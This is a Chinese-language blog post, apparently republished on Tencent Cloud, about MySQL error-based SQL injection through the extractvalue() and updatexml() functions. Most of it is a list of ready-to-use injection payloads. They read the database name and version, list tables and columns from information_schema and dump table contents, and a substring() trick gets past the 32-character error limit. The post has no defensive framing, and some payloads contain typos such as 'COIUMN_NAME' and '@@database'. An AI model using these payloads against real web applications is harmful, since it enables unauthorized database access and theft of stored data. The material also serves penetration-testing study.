SQL报错注入

sugarbeet

发布于 2022-09-26 19:23:19

3480

发布于 2022-09-26 19:23:19

文章被收录于专栏：小满的技术录小满的技术录

SQL报错注入

利用xpath语法错误

使用条件：mysql版本>5.1.5

extractvalue

extractvalue函数函数原型：extractvalue(xml_document,Xpath_string) 正常语法：extractvalue(xml_document,Xpath_string); 第一个参数：xml_document是string格式，为xml文档对象的名称第二个参数：Xpath_string是xpath格式的字符串作用：从目标xml中返回包含所查询值的字符串

pyload：id='and(select extractvalue("anything",concat('~',(select语句))))

id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))
针对数据库
查数据库名：id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据：id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页，一次查看最多32位

举例：

id='and(select extractvalue(1,concat(0x7e,substring((select group_concat(COIUMN_NAME) from TABLE_NAME),1,32))))

updatexml

函数原型：updatexml(xml_document,xpath_string,new_value) 正常语法：updatexml(xml_document,xpath_string,new_value) 第一个参数：xml_document是string格式，为xml文档对象的名称第二个参数：xpath_string是xpath格式的字符串第三个参数：new_value是string格式，替换查找到的负荷条件的数据作用：改变文档中符合条件的节点的值

payload：id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

'and(select updatexml(1,concat('~',(select database())),1))
'and(select updatexml(1,concat(0x7e,@@database),1))
针对数据库
爆数据库名：'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名：'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名：'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据：'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

Q.E.D.

本文参与腾讯云自媒体分享计划，分享自作者个人站点/博客。

原始发表：2022-06-19，如有侵权请联系 cloudcommunity@tencent.com 删除

xml